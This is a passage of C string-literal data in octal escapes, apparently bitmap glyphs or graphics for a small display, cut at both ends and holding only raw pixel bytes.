\"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\377\\77\\377\\377\\377\\377\\377\\376\\300\\340\\370\\374\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\1\\307\\357\\377\\377\\377\\377\\377\\377\\377\\377\\371\\360\\360\\360\\360\\360\\360\\360\\370\\374\\376\\377\\377\\377\\177\\77\"\n  \"\\37\\17\\3\\0\\34\\37\\77\\77\\177\\77\\17\\3\\0\\1\\1\\3\\3\\3\\3\\3\\7\\7\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340`\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\1\\0\\0\\0\\340\\340\\340\\340\"\n  \"\\340\\340\\340\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\7\\37\\77\\177\\377\\377\\377\\376\\374\\370\\370\\360\\360\\360\\360\\360\\360\\360\\370\\370\\374\\377\\377\\377\\177\\177\\77\"\n  \"\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\7\\3\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340`\\0\\0\\1\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\"\n  \"\\340\\340\\340\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\7\\37\\77\\177\\377\\377\\377\\376\\374\\370\\370\\360\\360\\360\\360\\360\\360\\360\\370\\370\\374\\377\\377\\377\\177\\177\\77\"\n  \"\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\7\\3\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\302\\306\\317\\337\\37\\17\\7\\7\\3\\1\\1\\0\\1\\3\\7\\7\\17\\37\\77\\37\\317\\306\\300\\300\"\n  \"\\300\\300\\300\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\1\\17\\77\\177\\377\\377\\377\\377\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\376\\377\\377\\377\\377\\177\"\n  \"\\37\\17\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\301\\303\\307\\307\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\7\\307\\303\\301\\300\"\n  \"\\300\\300\\300\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\1\\17\\77\\177\\377\\377\\377\\377\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\376\\377\\377\\377\\377\\177\"\n  \"\\37\\17\\1\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\200\\0\\0\\0\\3\\3\\3\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\"\n  \"\\340\\340\\340`\\3\\17\\77\\377\\377\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\377\\377\\177\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\376\\370\\340\\200\\0\\0\\300\\370\\376\\377\\377\\377\\177\\37\\7\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\177\\377\\377\\377\\376\\377\\377\\377\\377\\77\\7\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\37\\37\\77\\177\\377\\377\\377\\376\\374\"\n  \"\\370\\360\\200\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\301\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\377\\377\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\376\\376\\377\\177\\177\\77\\77\\37\"\n  \"\\17\\3\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\370\\374\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\177\\17\\7\\3\\1\\1\\0\\0\\0\\1\\1\\3\\7\\37\\377\\377\\377\\377\\377\\374\"\n  \"\\360\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\300\\300\\340\\370\\377\\377\\377\\377\\177\\77\"\n  \"\\17\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\37\\37\\37\\37\\37\\37\\77\\77\\177\\377\\377\\375\\374\\370\\360\"\n  \"\\340\\300\\200\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\377\\377\\377\"\n  \"\\377\\377\\377\\374\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\200\\300\\360\\370\\360\\340\\340\\340\\340\\340\\340\\360\\370\\374\\377\\377\\377\\377\"\n  \"\\177\\77\\17\\1\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34|\\376\\377\\377\\377\\376\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\37\\177\\77\\37\\37\\14\\10\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0`\\360\\360\\370\\374\\374\\374\\376~~~~\\177~~~~\\376\\376\\374\\374\\370\\370\\360\\340\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\0\\1\\203\\203\\301\\300\\300\\300\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\343\\377\\377\\377\\377\\377\"\n  \"\\377\\376\\0\\0\\340\\370\\374\\376\\377\\377\\377\\177\\37\\37\\17\\17\\17\\17\\17\\7\\7\\7\\7\\7\\7\\7\\207\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\17\\37\\177\\377\\377\\377\\377\\376\\370\\370\\360\\360\\360\\360\\360\\360\\360\\370\\370\\374\\376\\377\\177\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\7\\7\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\376\\377\\376\\374\\374x\\60\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<\\77\\177\\177\\177\\77\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370\\370\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\203\\201\\201\\200\\300\\300\\300\\300\\300\\300\\300\\300\\301\\301\\307\\377\\377\\377\\377\\377\"\n  \"\\377\\374\\0\\0\\300\\360\\370\\374\\376\\376\\377\\377\\77\\77\\37\\37\\37\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\37\\77\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\376\\376\\376\\374\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\70|\\376\\377\\177\\77\\37\\7\\3\\3\\7\\37\\77\\177\\377\\377~<\\70\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370\\370\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\375\\370\\370\\360\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\203\\201\\201\\200\\300\\300\\300\\300\\300\\300\\300\\300\\301\\301\\307\\377\\377\\377\\377\\377\"\n  \"\\377\\374\\0\\0\\300\\360\\370\\374\\376\\376\\377\\377\\77\\77\\37\\37\\37\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\37\\77\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\374\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\\300\\300\\340\\360\\370\\360\"\n  \"\\360`\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\3\\1\\0\\0\\0\\1\\1\\3\\7\\17\\17\\17\\17\\17\\17\\17\\7\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370\\370\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\203\\201\\201\\200\\300\\300\\300\\300\\300\\300\\300\\300\\301\\301\\307\\377\\377\\377\\377\\377\"\n  \"\\377\\374\\0\\0\\300\\360\\370\\374\\376\\376\\377\\377\\77\\77\\37\\37\\37\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\37\\77\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\360\\360\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\7\\7\\3\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\7\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\370\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\203\\201\\201\\200\\300\\300\\300\\300\\300\\300\\300\\300\\301\\301\\307\\377\\377\\377\\377\\377\"\n  \"\\377\\374\\0\\0\\300\\360\\370\\374\\376\\376\\377\\377\\77\\77\\37\\37\\37\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\37\\77\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\374\\376\\37\\17\\17\\17\\17\\37\\376\\374\\370\\360\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37><<<<>\\37\\17\\7\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370\\370\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\203\\201\\201\\200\\300\\300\\300\\300\\300\\300\\300\\300\\301\\301\\307\\377\\377\\377\\377\\377\"\n  \"\\377\\374\\0\\0\\300\\360\\370\\374\\376\\376\\377\\377\\77\\77\\37\\37\\37\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\17\\77\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\370\\374\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\360\\370\\370\\374\\374\\374\\374\\376\\374\\374\\374\\374\\370\\360\\360\\340\\360\\370\\370\\374\\374\\374\\374\\374\\374\\374\\374\"\n  \"\\370\\370\\360\\340\\0\\3\\7\\3\\201\\200\\200\\300\\300\\300\\300\\301\\303\\377\\377\\377\\377\\377\\377\\307\\301\\301\\300\\300\\300\\300\\301\\303\"\n  \"\\377\\377\\377\\377\\370\\376\\376\\377\\177\\77\\37\\37\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\7\\377\\377\\377\\377\\360\\340\\300\\300\\300\\300\\300\\340\\360\\377\\377\\377\\377\\377\\377\\376\\370\\360\\360\\340\\340\\340\\340\\340\"\n  \"\\360\\360\\374\\370\\0\\1\\3\\3\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\1\\1\\0\\1\\1\\3\\7\\7\\7\\7\\7\\17\\7\\7\"\n  \"\\7\\7\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\370\\370\\370\\360\"\n  \"\\340\\300\\200\\0\\0\\300\\370\\376\\377\\377\\377\\377\\177\\37\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\77\\77\"\n  \"\\37\\17\\3\\1\\0\\177\\377\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\\177\\377\\377\\377\\376\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\370\\374\\376\"\n  \"\\374\\370p \\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\377\\377\\377\\377\\307\\307\\307\\307\\203\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\36><<|xyyyyy\\77\\77\\77\\37\\17\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10<|\\376\\377\\377\\377\\374\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\77\\177\\77\\37\\37\\14\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\370\\374\\374\\376\\376~~~\\177~~~\\376\\376\\374\\374\\370\\370\\360\\340\\300\"\n  \"\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\357\\343\\341\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\341\\347\\377\\377\\377\\377\\377\"\n  \"\\377\\370\\0\\0\\177\\377\\377\\377\\377\\377\\377\\307\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\376\\374\\370\\370\\360\\360\\360\\360\\360\\360\\360\\360\\370\\370\\374\\376\\377~<\"\n  \"\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\7\\3\\3\\3\\3\\3\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\377\\376|<\\10\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\37\\37\\77\\177\\77\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\370\\374\\374\\376\\376~~~\\177~~~\\376\\376\\374\\374\\370\\370\\360\\340\\300\"\n  \"\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\357\\343\\341\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\341\\347\\377\\377\\377\\377\\377\"\n  \"\\377\\370\\0\\0\\177\\377\\377\\377\\377\\377\\377\\307\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\376\\374\\370\\370\\360\\360\\360\\360\\360\\360\\360\\360\\370\\370\\374\\376\\377~<\"\n  \"\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\7\\3\\3\\3\\3\\3\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\374\\376\\376\\376\\374\\370\\340\\300\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20<~\\377\\377\\77\\37\\17\\3\\1\\7\\17\\77\\177\\377\\377~|\\70\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\337\\307\\303\\301\\301\\300\\300\\300\\300\\300\\300\\300\\301\\301\\303\\317\\377\\377\\377\\377\\377\"\n  \"\\376\\360\\0\\0\\377\\377\\377\\377\\377\\377\\377\\217\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  